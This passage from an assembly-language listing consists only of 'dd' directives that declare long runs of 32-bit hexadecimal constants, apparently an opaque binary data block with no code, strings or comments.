0A0A76073h dd 0C8864E8Fh, 3100A48Ch, 0E41F7924h, 93FF94h, 0E729A132h dd 115286EEh, 79CF0350h, 57385D04h, 83BC4409h, 0FEC9A840h dd 752B00A4h, 0A2704796h, 0B1026E6Ah, 8B643F95h, 582CD0F0h dd 3900F88Ah, 16E27C21h, 80951CA2h, 859AB5A8h, 0F85501F9h dd 0BC681EB0h, 6257D0F7h, 0C16B0A00h, 0ED1C4C33h, 0B90B0CC5h dd 563863D1h, 19243Ch, 3A0901B8h, 782C8CEh, 0E41BBA74h dd 91A110B2h, 1F01B98Fh dd 51F820C2h, 23E02FFh, 881226DCh, 2F1EAC70h, 116D3259h dd 71711C4h, 0E07E00E4h, 0F2005A3Ch, 0EB5B8EF8h, 4629EEh dd 0A5B90155h, 9A3037F1h, 164A9E09h, 1338C0C3h, 0F6A20078h dd 4F3FEF2h, 891602C5h, 0EC1CD4FBh, 0EC969989h, 34360248h dd 484B3510h, 4A798450h, 3FFC1500h, 179EEEAh, 0E1B06Ch dd 7F64D59Ch, 61125B9Ah, 4A415E17h, 0A817B445h, 56A6EC80h dd 0D4EC1h, 0E8CDBBD0h, 0BCBA8B48h, 32802800h, 0BA58D9A0h dd 293B600Ah, 0E6BE5973h, 69C00200h, 0E8CCD93h, 4F97480h dd 0F22A98F7h, 2E0890A1h, 0E318A357h, 3107D1Bh, 0E45A0FE8h dd 6898FF54h, 9400D837h, 95662178h, 1C604Bh, 382D1A5Fh dd 81161935h, 0D45BE000h, 8D0E4A6Fh, 0CB690125h, 0C98A61BAh dd 6CC207Fh, 0FD000FB0h, 63C3EAF1h, 24B4A6F9h, 3FB0B351h dd 8A5F0500h, 2F26568Bh, 6F21C8FFh, 0FACC4500h, 80393C0Fh dd 0F02B09CAh, 3087524Eh, 0DBE31062h, 0C34836BAh, 393060A5h dd 0B8933Dh, 3860905h, 2513C483h, 0DF0452FEh, 0A14F1FBAh dd 0A4AAC6C0h, 6B5EE9Ah, 1ECB4912h, 0D0F118A2h, 22003E2Eh dd 7C407D0Ch, 530D6Ch, 171CD384h, 5532DCA5h, 146E2700h dd 0EB167537h, 0F887E14Fh, 0A0849C23h, 1A9F7D2Dh, 0E2F65Ch dd 0FE2201F2h, 927279h, 8CE9B04Eh, 8985CCB1h, 9FE8071Ch dd 0CBCD6C40h, 126735h, 8B091317h, 2F57198Eh, 2DF0FC1Eh dd 0ED6BB242h, 64C3404Ah, 0B6120036h, 0F43BFD9Fh, 117427Eh dd 47005F3Ch, 0CA8D90CBh, 18BF002Ch, 0CE819AF5h, 0C5304801h dd 396A19FBh, 0AFAA00BAh, 0A999A4B3h, 0B5E0C243h, 70FD70ECh dd 1800663Bh, 0EC7BBF28h, 459E7Dh, 24575D6Bh, 931EB7F3h dd 77547C0Eh, 50ACAD98h, 3FCBEF0h, 5B892DE0h, 0B1067F78h dd 31C15C11h, 9D1D0038h, 0AD2D3CB5h, 7C0C4A1Bh, 9912B0EAh dd 0CBEF202Eh, 738E9900h, 0DBB676CCh, 6F48C0D3h, 0A5D6CE9Ah dd 1C2A1701h, 726E67A3h, 0AB358080h, 0EB6258D8h, 7DB88A03h dd 0F059DA0Dh, 1E4BE69Ch, 80691E1Ch, 43C91816h, 0F200969Ah dd 938DB140h, 0D84AE5h, 0EB15249Ch, 0A60A82F6h, 0C9005D98h dd 6FD22AA5h, 0CAA95Dh, 24F16CD0h, 1F46584Ah, 0E29E9D0Fh dd 8EC160B1h, 48660DE8h, 703E1E90h, 9F9EAD3Fh, 1ACAA40h dd 0C5C1DB49h, 0C8D82634h, 6C00B424h, 0E044B91Ah, 0A522850h dd 954A361Bh, 0C2660098h, 9AB3C427h, 48298600h, 1DC7C567h dd 0EFB21216h, 0FF0409D9h, 19276000h, 0DF003FDBh, 28F33C52h dd 6C9C75h, 7AFDA65Fh, 977B33C3h, 0A449FB39h, 0BAB479h dd 0B146CFADh, 0CF0C55EFh, 0FE8A2B80h, 293A0EC0h, 0C7C4D1A7h dd 0DC7BB127h, 80FCC3FCh, 0E114C7B0h, 49AA5600h, 0B07478DAh dd 82AE0064h, 7143A619h, 7001387Dh, 18F5F59h, 9086862Ch dd 8034535Dh, 0A1A39200h, 165C3C06h, 2C90BDh, 76C996FDh dd 5045DB2Fh, 31F9D300h, 0CA7E51D5h, 4C9F01EDh, 0B9991F55h dd 481C2484h, 0F388E460h, 929DAD76h, 0DBAB0010h, 0EF667D96h dd 2278DCE7h, 5C5F7000h, 6AFCD4AEh, 1E2A008Ah, 0F6CF2C60h dd 9401C7E0h, 70FF41A9h, 90851CD1h, 0C0A521ACh, 0B320347Eh dd 45685800h, 0CBC49CD2h, 91040078h, 0E3B22784h, 0AA303EC5h dd 0D103844h, 5E300FA5h, 0C8A118F0h, 2005B046h, 0AD019C40h dd 0E7DE96A8h, 16013B3h, 0FABC3ED9h, 198F00F5h, 0D587B2C5h dd 0A100BF58h, 4652E5B8h, 3E2AEE37h, 5A1F1A65h, 0F1BDC03Bh dd 1999D7FEh, 80E5DD3Dh, 43861FE9h, 72E3BC57h, 0F94C0059h dd 551DDFD9h, 9B3E9721h, 53260038h, 61688E90h, 38B09058h dd 0B71C201Ch, 87B64F15h, 55C0904Fh, 1EA13508h, 6A09C205h dd 35C085D8h, 39CFC56h, 46F5255Fh, 0F4E0DE39h, 57003C67h dd 0B05B60FEh, 0DCFB50h, 0A6FAB2F0h, 43E1BB9h, 0ED8B1D00h dd 49FD996Ch, 27860E88h, 43C0A446h, 0FFF8A082h, 0A5228A00h dd 0C7FDAB75h, 0C869007Ah, 3E48883Ch, 9102FA86h, 50A4F0C9h dd 53734001h, 315800CAh, 8529B5F9h, 33002A60h, 831399D5h dd 3A2C47C8h, 5782A979h, 988090CCh, 0EF30ADE0h, 9A29F800h dd 0FDBCE976h, 0C9360032h, 0BA1C1F5Ah, 0BB0079D5h, 3A1138D4h dd 378BE88h, 0E0BDC9A9h, 1877910Dh, 23F656B8h, 2610DC00h dd 9E47936Ah, 0D9B40007h, 2C3A0FF5h, 1E50112Bh, 3600B174h dd 296D3704h, 30D91B1Fh, 9A286FAEh, 0D8037BA0h, 0C733A8B7h dd 0E4C0FF50h, 1C3BB5h, 98929D22h, 0D57E5A02h, 0D6865C00h dd 0B3D423CDh, 0E3F628h, 0C9AEBFE2h, 0E83B6D3Ch, 5E24DF07h dd 35073D42h, 0FC6ED4B0h, 0F22B00EFh, 5571BFEDh, 63C1329h dd 0CA5180C5h, 0D8BA1BE4h, 31380B3Ch, 0FB804D2Ah, 8F336218h dd 6D287C1Ch, 0ACDF15h, 0CEEF8119h, 8040B2h, 5B31779Fh dd 0ABAC4561h, 983FA707h, 12908AC4h, 1420C9Dh, 8CB15905h dd 0F088F3EFh, 4600A16Dh, 74A5654h, 90B8E8C6h, 6B96101Ch dd 6A77B1D4h, 9840E6C1h, 1C7A16E3h, 40712919h, 228E279Fh dd 62007DA7h, 0EECCE9C4h, 0F081A2CEh, 1FFA55h, 77E0BCC9h dd 0BD5D7F18h, 0D0F89700h, 9E6C70A4h, 0ED21008Fh, 758223C4h dd 963E6750h, 0A0370066h, 7B872C40h, 0E0143C10h, 0C69A2D80h dd 6A06F018h, 0B8F41174h, 42C548h, 26FC665Bh, 1F6EF289h dd 407D152Fh, 0CB2EEEAEh, 0DD007EC3h, 982B6753h, 18916C8h dd 45B1BC52h, 0CC7F6317h, 2A00D0E7h, 78BD8E9h, 408396h dd 0D210789Eh, 80151C36h, 0DFC7080Fh, 0BDA58042h, 0B4D2Ch dd 0D9D5BE3Ah, 4C9A606Eh, 1EA85607h, 6820B070h, 7B1740h dd 9C99A7FBh, 28DA5359h, 9B429E00h, 0CBB043F0h, 0AFE30091h dd 50B67A68h, 0AE735A37h, 0DC408B00h, 49BAF12Fh, 318D006Bh dd 0B9032B5Dh, 0A1714138h, 0DBD43F02h, 0C0BCF9D8h, 40E47Eh dd 21674265h, 0AD5A72FAh, 270F3400h, 26579D58h, 993F0019h dd 0BA5ED745h, 0F702291Dh, 0F1BDCAFh, 98304024h, 0ACD400ADh dd 0E1FEFD2Fh, 50758814h, 4D25CA00h, 0A7EDDAF6h, 0BB573982h dd 64013C80h, 0B20842C6h, 0FA0075F8h, 0E7137EDCh, 2F7268h dd 0DD369412h, 0D9B27ACh, 0EE0CCB03h, 0D3DB70AAh, 138FBB5h dd 33ECE778h, 0CCE6E0C2h, 0C7616C52h, 13FD1F18h, 0B4C89880h dd 0AA634C80h, 6F4DE906h, 0F0189CF6h, 1E10C0E1h, 90C9FBC7h dd 0D35420C2h, 0C0470191h, 0F33F4E6h, 0E9CB2D31h, 0E0F88465h dd 0C72F3412h, 95402C20h, 64613085h, 1F2830AAh, 53E21094h dd 3B4E6C00h, 72F08470h, 0C676007Eh, 7CA64F9h, 30174AFFh dd 0A51E227Fh, 33BDEE40h, 2B4E48h, 0B374C9C0h, 415F1E4Ch dd 0FE78690Ch, 7B6188Ch, 4F022E04h, 93D7C086h, 48001B45h dd 0C9C1E2FEh, 606DB597h, 0DA69B0D4h, 4C3004D1h, 6F8D30D0h dd 72A3016Ch, 2354AC4Ah, 4018B130h, 0C007E9C0h, 849E73Dh dd 0C8A0D150h, 0FA4F5F18h, 2A179828h, 0A49993h, 3928C40Dh dd 2EFC7274h, 9C0F9CCh, 99B41847h, 781B88D5h, 6151F460h dd 30986AB5h, 54D19242h, 59030B31h, 0DB89D86h, 0CE410790h dd 0B28B0119h, 0D4A0DCEDh, 62E2E948h, 920716E8h, 87D1C669h dd 5AAE51C0h, 11311AACh, 600060DCh, 0FEB82C7Fh, 0EF3A6E00h dd 4412AE05h, 197074h, 771664F0h, 42B32FF6h, 0E07D8800h dd 61759BB8h, 0E1EF5046h, 38A078Dh, 64AF897Fh, 600DC7C7h dd 5FA776E2h, 0F540D80Eh, 278004Dh, 0E04E5E25h, 480CF420h dd 74099Bh, 0D257D148h dd 0D0CADDABh, 0A053F401h, 0AFB5FC5Ah, 9480C083h, 8B80EB31h dd 0B400CADEh, 5EA8A635h, 9C455Ch, 0FB85F499h, 0C2F3D323h dd 0CBBC550Fh, 0D85020D4h, 46109Fh, 3875AE6Ch, 0B07B8CB9h dd 0EF95970Ah, 1280C82Fh, 0F4F3E81h, 4080054h, 8A80AD92h dd 0CFE8BD7Ah, 0C400B0A4h, 46582FF4h, 1C891E3Ch, 8499C80Ah dd 8063E4DFh, 37220F84h, 0F082C407h, 8814952h, 0D8CC7B3Eh dd 0E8F448h, 0A65807B3h, 0A1C5D6E6h, 61796F03h, 0DE81DCh dd 6C1DD169h, 0B1B4021Eh, 821288EAh, 0B440653Bh, 23FAEBCBh dd 0DEFB1C62h, 0D49F4F90h, 73F21860h, 710CEFEDh, 316A0F3Ch dd 39FC3138h, 0F85141E9h, 0C40FE940h, 0E701C257h, 376722D9h dd 0B5517457h, 8980D280h, 6467BEB0h, 0E300409Fh, 9D9BA93Eh dd 1FBD38BCh, 871673FDh, 30F11D42h, 7CC133ACh, 1ADBCD04h dd 54917DAFh, 89846734h, 0C086E039h, 0EFDBFE19h, 60C3F014h dd 71D530BDh, 0C089AE17h, 3F800F39h, 34180555h, 0EFC15AFCh dd 0BB2B3CDCh, 38230A80h, 88D7EEBEh, 586CE71Eh, 0EC814782h dd 9965271Ah, 0AEA4C810h, 31C1F800h, 0FF0D1950h, 2BAF58B2h dd 0AC308009h, 0BC3F9800h, 0D3F488C4h, 0BA130301h, 6BA0A958h dd 14B042FCh, 91A4DD86h, 548A1F00h, 708466D6h, 0B6C28200h dd 8F18056Dh, 308E6023h, 4D74032h, 0CE7C3800h, 140384DCh dd 6E190069h, 63BF1F2Eh, 776782DDh, 39802648h, 3EF2BE6Ah dd 761418C7h, 0B400C213h, 0BF4BD4ACh, 8007DBA9h, 5D3DCC3Ch dd 8D982Ch, 458F93E8h, 0E0BF021Fh, 0B718EFA0h, 80E68C3Dh dd 90918BEAh, 3E8AC6Fh, 998E4E4Bh, 40014143h, 13F26AC8h dd 108142E9h, 5526482Bh, 17C0C31Fh, 0FC0382BDh, 3CDCB0DFh dd 58D87C75h, 3F31651Eh, 57A1A580h, 9B989090h, 7700873Eh dd 5FF059ECh, 7AAF2AE3h, 0B5360E60h, 0C0FF7F79h, 0C2A59B5Ch dd 900ECF88h, 20E9EAAAh, 0D3FE3165h, 0C98B0FFDh, 0B56129B1h dd 0A3CEAF25h, 0F540448h, 0CA507916h, 0B241D280h, 0F601B3C8h dd 0A8CB24B4h, 0BF0C35Fh, 2C0B9CCFh, 0F5CD0AF3h, 81580414h dd 910F0FCCh, 8A47111h, 10C55867h, 0DF01840Ch, 0E151154Ch dd 0F37B7600h, 0D9755BF9h, 0ED7B85h, 50287A02h, 6917B234h dd 4B08D803h, 80C0666Ah, 0DB52E1h, 775792Ah, 0D5940C68h dd 0F5DA9D07h, 1507A842h, 0F765C71h, 0E080C0FDh, 2EF6F32Ah dd 160056FFh, 9752CD5Ah, 44D69D4h, 7CBE9EB3h, 4408077h dd 0C126BF6Eh, 81002C9Dh, 5B572126h, 5DCC038Dh, 0C7E4F748h dd 5A826E90h, 3E1D3Fh, 2C6FD616h, 7D7086h, 4B0330FBh, 1BB6457h dd 0E841A103h, 0C8C1D4A5h, 391336h, 0EA04AF29h, 4C84FFC9h dd 0D3015079h, 7F78D7E7h, 46202CC2h, 0F2CF00ADh, 5A74BF4Ah dd 0CD00218Bh, 0E3529350h, 3BF6FC18h, 0CDCC91E9h, 3AF8C200h dd 384F372Eh, 557BBEF0h, 8DFA1100h, 4277DD33h, 83510E6Ah dd 602B5A15h, 0FCEBC500h, 5B00DE17h, 0CB472F6Ch, 3977704Bh dd 508001A8h, 0F9C8C5A1h, 2B0045B7h, 60355D94h, 55171Dh dd 8A169909h, 577B0618h, 9228447Dh, 721EB852h, 298051F1h dd 61A0410Dh, 962F1CF7h, 386CC0C6h, 0EC656B0Eh, 377FF500h dd 3394D28Dh, 0DC273D26h, 0BC00E63Eh, 57319859h, 0F8146C30h dd 0EC0255h, 4AE38210h, 10E20D8h, 162D2864h, 0DF9F5726h dd 17BD5097h, 4500D038h, 486BB63Ch, 0E6E589D3h, 7E0C26AAh dd 61780013h, 1EDEABE7h, 0E014A771h, 0D84E0Ah, 418EDB59h dd 3A252EEFh, 8A001CC6h, 478089ABh, 0A00B2FB6h, 80AC3E8Ch dd 53D36683h, 854C3F99h, 0CE444E9Fh, 77CC2956h, 0C700A4A2h dd 6CFAA791h, 0BB08CBh, 1A02E1B2h, 30C27ACEh, 4345FD03h dd 0D96DC32Ah, 0EE300980h, 8E870348h, 3373230Dh, 2B922FD8h dd 6114700h, 486DEDFDh, 8E131EB8h, 0BAB100E3h, 47C30B27h dd 29327D00h, 7175FACCh, 0C8535067h, 0E98B02AAh, 0BC15E13Fh dd 6A666057h, 6A902B8h, 0D066C3E2h, 77B1B840h, 8458BC03h dd 0E98869DDh, 1897DF06h, 0B540F74h, 1191CB60h, 0C8A0049Dh dd 4600C528h, 0CCC42E8Fh, 4D172Ah, 36A6DC35h, 0BB656675h dd 3AE9C902h, 80325792h, 0EED6B8F5h, 1A2A0081h, 6C865F96h dd 54008599h, 83EC98Eh, 1F95DAFCh, 74E1318h, 40E97EFAh dd 0B48D4A76h, 514C0800h, 0E635FD1Dh, 7C1400D4h, 79CE23D3h dd 89006F3Ch, 19C1B4D8h, 0FDDEA4h, 85CAE48Fh, 87997010h dd 7BA36A00h, 73F3F42Fh, 0D2150047h, 0F5A22C0Ch, 4600ABB9h dd 3855830Dh, 95CDE6D8h, 4A54F660h, 0D9A2BB1Eh, 0AC4C040Ah dd 1B533600h, 395993h, 0CD897FD6h, 5A55A781h, 8DB17D0Ah dd 0E912EEF5h, 21092100h, 7778E6h, 151E559Dh, 348E48DEh dd 7A7DB401h, 0FF88BD95h, 0D33CAC40h, 2E9000AFh, 0A581C6BAh dd 0D4143E23h, 187398Ah, 7B87059Ch, 50D0FD16h, 67C800FCh dd 37E1EC8Bh, 0ED00F2CEh, 5835D4B6h, 16A3202h, 24671668h dd 0DC86AEF0h, 930C4D6h, 165C8C6h, 0BA3900A4h, 35214863h dd 8C4CA54Ch, 4178073Eh, 0A3D96DFFh, 0B75FEB48h, 3994E7C0h dd 9AE0A0D9h, 0F8C703DBh, 6EFB1D59h, 0A73C56A0h, 5E0F2B7Bh dd 80E419B8h, 7817F72Ch, 0CE72008Ah, 534BF42Eh, 4500FAA6h dd 88D91A1Ch, 0F51743h, 0D6E52A58h, 772532CCh, 0BAAC8900h dd 5122A1ECh, 0DE43002Bh, 705B9312h, 1F002496h, 6694ACA9h dd 0FDAEE2h, 0A6B5B6CCh, 5C797F83h, 91686000h, 0E1D46AF1h dd 16634424h, 0B33BAC00h, 37F89938h, 0F87C5FEAh, 1EBB002Ah dd 0CB57F2F4h, 93D0063h, 40F52C28h, 0FF0F1797h, 80353E72h dd 144F2EFAh, 0B59E05DDh, 0CC6E7Dh, 0D4719CE0h, 3C00D844h dd 3B6A961h, 0C897DDh, 2CDA1DCDh, 0CB222FF1h, 795C994Ch dd 0C47BE000h, 3ED45453h, 0B98D0059h, 0C77CE3Bh, 4B004A04h dd 0D3A15D61h, 7D26AA9h, 9C582D1Eh, 81FEC095h, 0E807DD70h dd 38BF6521h, 6C4AC74Eh, 6D404820h, 63AE0013h, 23827A71h dd 0CA013A9Dh, 6139AB96h, 8B608E4Ah, 0AC630065h, 0AE1594C4h dd 0A6F8A828h, 14F70600h, 0EC3C86D3h, 322C000Bh, 87E87E9h dd 4600909Dh, 146DE6F7h, 6BC78Eh, 9F11A2AFh, 58759520h dd 2DB22E00h, 0F887D47Ch, 15E627h, 0C0841C8h, 0B14C0720h dd 0B3459424h, 0A158E800h, 4EF8254h, 264E0B03h, 71BDC092h dd 0EA00568Fh, 7294FC34h, 0B85F1Bh, 79F13CE4h, 71BA9A16h dd 8F00BE7Dh, 651D8C34h, 892C86h, 379F911h, 2A66C275h dd 80FE642Eh, 0BA4D0038h, 375EBE8Fh, 91B081h, 2320C075h dd 0FABB3B9Bh, 4A2ECB0Ch, 3EC76D3h, 0DE9080A6h, 18007E88h dd 440AC9FEh, 0AF34BDh, 1AAE794Ch, 8B06E0A9h, 1382C5Dh dd 0F6C03560h, 75C48751h, 9E150182h, 0F4A2BF5Bh, 1349CC4Dh dd 2771CB00h, 4344DBCFh, 0A9180A22h, 8096E642h, 35BAD9BFh dd 9C38DC3Ah, 0FB0073DBh, 0AEA91183h, 145D2ADh, 0E49E7AEBh dd 0E84DA526h, 5400106Dh, 0C7A8F991h, 0E2368220h, 0CACF01C3h dd 3D2D253Fh, 0DCB53115h, 0C203620Eh, 2491F8F3h, 0B9CFD851h dd 78A004Ah, 2DAA280Fh, 0D73D4348h, 639D89F1h, 44090799h dd 2E7BC6F0h, 0ACF00292h, 1BB6FF0Ch, 2210B080h, 0D400FD4Ah dd 0C1FA034Eh, 82460Dh, 0AB8FAEB4h, 1F9A6FCFh, 1463D800h dd 5019BC6Dh, 58CE0F52h, 6680189Dh, 2D47CB97h, 0D998491Ch dd 8C3CD4h, 3FBC550h, 741A559h, 0F772B46h, 7491A082h, 0BA0F44EAh dd 0A0DEA13Eh, 0C037454Ah, 66C10611h, 2A957F82h, 0AD61D000h dd 59271EE9h, 6CBB07EEh, 0C0B4D971h, 0A28BF3F1h, 835A9B3Fh dd 0E65216C6h, 0E9A983B3h, 51C45679h, 9CB6051Ch, 0C0F9AA59h dd 8B2A7C41h, 9B053000h, 44D31F83h, 7C97F78h, 64DF12DCh dd 24C5E26Bh, 5500C050h, 0F762D190h, 601651h, 19E58C91h dd 28C6D718h, 369B1E0Eh, 1C13A045h, 1773589Dh, 1EC999Fh dd 5603D490h, 0BB63C8B7h, 0C76C5C00h, 17ED53B2h, 0E700044h dd 0E1AB0359h, 0CC03E08Eh, 0A296D53Dh, 2DE3A077h, 70360DC3h dd 0D0110B95h, 0EE00B971h, 54F7F4Dh, 0E79B666Fh, 0F2350DCh dd 0B9E060DCh, 0D2D068E9h, 0C1BED70Fh, 714E400Ah, 9E1B6C2h dd 0B2316C64h, 74C4B000h, 4C00A45Ch, 0AF293C36h, 1875DACEh dd 113BF09Fh, 0BE00F2B6h, 275C1B17h, 1E1182Dh, 0E6BFABB3h dd 813F5D4Dh, 94197E88h, 9C50D23Dh, 3CB1F997h, 3330CEA9h dd 51EB64C8h, 2AE12600h, 2E49343h, 0B1900F5h, 0C8BD735Dh dd 18F84CB3h, 0FC0A4507h, 0B1C04779h, 23F7F3h, 0ECDE07F4h dd 31CFFE9Eh, 0A318D4E8h, 3D7117F0h, 8D8503D1h, 0D80AA8DBh dd 33AD01D8h, 567EA203h, 0C167BFh, 1DA01B64h, 6E80937Ch dd 16CEAE1Fh, 83F5A9F0h, 65A20094h, 0E903DB67h, 0A3001990h dd 95B19197h, 4F1C2Eh, 8883B22Fh, 0D92D6A96h, 0FECCA2C0h dd 2F094FFh, 0BE9F8F49h, 0A0A06319h, 56F1A5E3h, 80657130h dd 9D4578h, 32E5FD4Bh, 2ECF10D4h, 0BD0028EAh, 944189D8h dd 27781AF7h, 4B7EDD51h, 0D01501Fh, 5254D8A4h, 69755987h dd 0C1446783h, 0F0478760h, 0D2161EAEh, 9C00FB9Fh, 8CE6C920h dd 6CD7D9Eh, 0EAEE1439h, 6C7C1089h, 0DF5804A7h, 10D7607Dh dd 0D9FE79A6h, 0F3788700h, 0DDD291AAh, 0DCAC00E4h, 473867BAh dd 1188CA2h, 9729F913h, 1AA380ADh, 580B6B1Ch, 0D04926C0h dd 0DAD62Ah, 13AFA0CAh, 0C538275Bh, 33506901h, 702EC224h dd 3ED07ADCh, 8B0156AFh, 0C5D7B139h, 96EE8E5h, 1F1E9F00h dd 1420E705h, 21FAA7h, 0C20DBFE9h, 668BF5B9h, 8119CE3Bh dd 8C438734h, 892095B6h, 0B7780290h, 1602538Dh, 14116A60h dd 0EC49AE00h, 0DAB87B22h, 9EF600E3h, 0FBB3A70Ch, 980E46C2h dd 5B028Fh, 44B631EDh, 566300EAh, 8A15391h, 0E5C23B1h dd 9CCC286Eh, 6007677Ch, 26258B30h, 0DF4C210h, 0B1450035h dd 0AC214DBEh, 1F00F03Eh, 7EED5408h, 1803420Ch, 8C3755A2h dd 69006E77h, 1CF1D422h, 6257B3h, 136A9536h, 4AD9C854h dd 970F6538h, 7800065Dh, 9418C47Eh, 0B47202DDh, 508162B0h dd 14A76860h, 0F652061Fh, 6AFC87C4h, 27360BC0h, 0E15703A9h dd 0CEE58291h, 0CD7DA0A7h, 21FE4F73h, 37B99D00h, 0CFB4B10Fh dd 88FB00C9h, 48C77AA5h, 0F500586Bh, 0CA599E66h, 0CC1DAh dd 3CE95693h, 18530907h, 218C5402h, 80388AFDh, 0DCFA9B8Ch dd 3F9E0065h, 0E5871781h, 0D20FC19Ah, 605EEA5Fh, 0F375CC92h dd 0BA6C0049h, 0B0C0D7B6h, 1800CB5Bh, 282E0EC9h, 7C4CDB9h dd 0FA2A4EFDh, 850AA0CCh, 81173941h, 470001B8h, 9B70AFFCh dd 35F06Bh, 759D2774h, 0D4D90447h, 456F2F00h, 0A8209312h dd 0E4C5000Fh, 501D315Dh, 0BD00D385h, 71A14504h, 0B63840h dd 182BAAB4h, 8357C293h, 26627E05h, 0D9B008B7h, 0D2583B0Ah dd 0C988D50Eh, 50CC4920h, 0F9C017B2h, 0E320B60Fh, 0DD94872h dd 24F06B00h, 0BC7A360Dh, 1EA3FB00h, 258FB761h, 2A4100E4h dd 0FC3DA2F1h, 0F5006E48h, 5B62BA8Ch, 0C405031h, 7E9F936Bh dd 540011F8h, 0CC1873D7h, 9089670Dh, 689B037Ch, 8A4FCBBBh dd 8F331000h, 13A93C7h, 1B950094h, 560F6D7Eh, 48C0CDDAh dd 154A74B2h, 70A27111h, 84640027h, 1CC87FAEh, 6C1379ECh dd 0C00225Bh, 240869F2h, 0B40B0012h, 6568D7BAh, 0C200C56Ah dd 0BE2B81EEh, 3F8262DFh, 7C80F078h, 0CE6107BFh, 10044118h dd 0FB233201h, 3B56C080h, 83031E87h, 0AA0A00F4h, 796A01FFh dd 0C823F800h, 0A64D722Bh, 50131FB6h, 0FB1406EAh, 89018827h dd 7C3F553h, 0FE400F68h, 605A5E26h, 7F091006h, 0E50063C6h dd 72D5608Ah, 481E2B15h, 0A68700ABh, 0CD13D052h, 4A064316h dd 0FEE217F7h, 20770188h, 90BCA8A2h, 9CEAECFFh, 33B6FC02h dd 407BC543h, 455CEA4h, 0FB68C924h, 6CDA80C1h, 76E6AB0Bh dd 4D3AFCA8h, 0D2C67C01h, 60E4E507h, 0A28DD0h, 8F29CF14h dd 0AE46D952h, 401FF30Fh, 334B202Eh, 0D0FA2Fh, 3C300D22h dd 4D2B1C88h, 97553E0Bh, 0D1358052h, 0A21780h, 6C94871h dd 0EFD3A9DBh, 781F0A00h, 23E8D69Dh, 0B0460F5Ch, 0AB40DD97h dd 0F9572420h, 368C0C00h, 0F7C1532Ah, 3C2600DAh, 231E34E2h dd 170718C0h, 35D93D19h, 5806F110h, 11EE0787h, 0F26F650Ch dd 3CC0F52Fh, 0C4008E7Ch, 28A0B4A2h, 11DAE3Bh, 0CD384F83h dd 0FF822340h, 0B6AA70F0h, 0DC3D0800h, 0E53E595Eh, 71EB3EDDh dd 5591C107h, 0F19AB11Dh, 73C03A21h, 689EFBh, 0BAC682C5h dd 0B703FF12h, 4B60EE01h, 7E3E28E3h, 1286F2E8h, 79E105h dd 519D4D70h, 7860898Dh, 36D18510h, 982007EBh, 20EA5DDAh dd 514E7B0Ch, 805F633Fh, 32B548E6h, 261DD40Dh, 80D86667h dd 0C1FEBFEh, 841E54B0h, 4807ECD7h, 19905E6h, 0F6106CAAh dd 0CF03D4h, 64908EB4h, 0EE8DEA7Bh, 9E32C8C3h, 238F87D5h dd 0E0DF2CDCh, 110BAEh, 41810CBAh, 6C57F8A6h, 0D6A52400h dd 52D917B3h, 0E801592Ah, 45A7FB03h, 0ECE3AB99h, 8B2143B0h dd 0DD5FF800h, 0EE417E2Ah, 0BAD612F6h, 9804400Fh, 16ADF573h dd 0F3B8A500h, 0DB4EEF4Ch, 97920015h, 0E2E1069Ah, 2005B9Bh dd 0E3CC5283h, 0DA798Ch, 3A17C3F3h, 7E407B53h, 1C009598h dd 5C24DFD8h, 26B9A1C4h, 80446321h, 60D68B6Ch, 6A0394C9h dd 9BD4B4EFh, 9D7DD9C8h, 1F1870h, 0BC4AE807h, 0B7351EE6h dd 6B93F400h, 0A2BF486Dh, 24EC011Fh, 95E0FF01h, 21087065h dd 54459B05h, 82BAD041h, 0D3E0B4ABh, 5F174A87h, 400030D4h dd 0FAD6E8E1h, 76611727h, 0FD50408Bh, 6867D78Fh, 566F400h dd 0B56124FAh, 0A721C586h, 8360D72Ch, 0B280E7F4h, 0C9E0B7ABh dd 0A22848E8h, 50001079h, 36078B5Ch, 74E10888h, 0D6540358h dd 78DB1BFEh, 7D80FD9Bh, 0B00014AFh, 910269CAh, 0E42BE241h dd 66E10083h, 2AEBF215h, 640A3905h, 3082A2CDh, 341AA1Dh dd 6088D6B9h, 0C1EF9853h, 0E474F17Eh, 1B900C7Dh, 0F511F268h dd 0EAE03F01h, 35458C03h, 0D6DAB8E7h, 19600173h, 0B76B6FF7h dd 0D8EBCA87h, 0FA994BB8h, 0B203BF02h, 0E1B9D7CBh, 7EE908C0h dd 98704FF5h, 0BD2500DDh, 80F8B809h, 70F1D1C6h, 0B100D6D8h dd 2822598Fh, 230D8CFh, 0FD19ABE9h, 5FC0E17Bh, 3A0CBFD2h dd 708F8DC9h, 0EE390909h, 4445EB57h, 95F55DC0h, 137F8D3h dd 9A39380Dh, 0E8CC9D33h, 0B873AD7Eh, 0B2064F00h, 0C9287646h dd 0CD3D000Ah, 0C38BBCFCh, 1F1F47B4h, 9209ED3Ah, 0D974A0C4h dd 3E4636A6h, 0A9022B77h, 0FE071D5Fh, 5D150C8h, 66629500h dd 211C80C8h, 0F4CF0052h, 3163C90Fh, 0B4007823h, 0D6EBF893h dd 1F19981Fh, 0D72BDBB5h, 0CD00AB3Fh, 0FA7C6086h, 5D73005Bh dd 2A2F38F7h, 8C0394DFh, 0E937AE22h, 0A5F8D115h, 39C598C8h dd 4A84D3B8h, 80887304h, 7DC0EFCDh, 0DB763D00h, 0AAB8ED6Dh dd 0F022FCCEh, 190726AFh, 499F3F13h, 2E5C0Eh, 982FE958h dd 3C001628h, 0DE08856Dh dd 7A043FEh, 4A80DBFh, 64EFB3FAh, 88ADC08Dh, 4B009E9Fh dd 453B926Eh, 0EEB03Fh, 0B5984F93h, 0AD6A8B2h, 0C6DF7D01h dd 245D9619h, 0CB80460h, 84E7842h, 0D9FC6611h, 0DF120300h dd 0B85E09D5h, 3CE6CCh, 1CA98E33h, 413ED172h, 81E2C4B2h dd 3921AE00h, 1AC68ABAh, 7675000Ch, 1C1EEFCBh, 4D09DBE7h dd 438D8B24h, 0E05780CCh, 1D5800B2h, 0CD17906Bh, 0E100B7BFh dd 0C8D8AFA8h, 3FF999h, 5C3656DDh, 404C977Fh, 0E2692212h dd 8A32840h, 7291A6FDh, 3AFE0056h, 38DE7FE3h, 0D600E1F8h dd 5B0239F7h, 1DD57BBEh, 7F0F8132h, 5143007Fh, 0E7B2A186h dd 0FB009274h, 3C5FAE56h, 0BA82EDh, 84D2167Ch, 0EFA6C7D6h dd 1D9FC148h, 1380C6B2h, 0B9D40619h, 528C097Fh, 9834ADBh dd 0DC80C1FEh, 0D70103DAh, 0DFE2AB47h, 6130CF7Ah, 2B0400A7h dd 370B070Ch, 0F1DB35Ch, 24CB33BAh, 320E838Dh, 0D0C909Ch dd 0C91B0062h, 4E4D6629h, 64074F1Eh, 26B084BBh, 